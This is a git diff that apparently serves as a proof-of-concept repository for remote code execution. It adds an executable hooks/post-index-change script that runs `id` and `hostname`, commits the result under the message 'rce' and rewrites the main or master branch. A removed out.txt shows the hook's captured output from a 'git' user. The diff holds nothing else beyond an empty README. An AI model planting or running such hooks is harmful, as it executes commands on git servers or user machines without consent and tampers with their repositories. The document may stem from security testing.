diff --git a/README.md b/README.md
new file mode 100644
index 0000000..7c6e2d7
--- /dev/null
+++ b/README.md
@@ -0,0 +1,2 @@
+# r813432
+
diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..12b6b28
--- /dev/null
+++ b/hooks/post-index-change
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+#!/bin/sh
+OUTPUT="HOOK_FIRED_$(id|head -c 100)_$(hostname)_END"
+BLOB=$(echo "$OUTPUT" | git hash-object -w --stdin)
+TREE=$(printf "100644 blob %s\tout.txt" "$BLOB" | git mktree)
+HEAD_SHA=$(git rev-parse HEAD 2>/dev/null)
+if [ -n "$HEAD_SHA" ]; then
+  COMMIT=$(git commit-tree "$TREE" -p "$HEAD_SHA" -m "rce")
+else
+  COMMIT=$(git commit-tree "$TREE" -m "rce")
+fi
+git update-ref refs/heads/main "$COMMIT" 2>/dev/null || git update-ref refs/heads/master "$COMMIT" 2>/dev/null
diff --git a/out.txt b/out.txt
deleted file mode 100644
index 3062e92..0000000
--- a/out.txt
+++ /dev/null
@@ -1 +0,0 @@
-HOOK_FIRED_uid=1000(git) gid=1000(git) groups=1000(git),1000(git)_17f677a6d4a2_END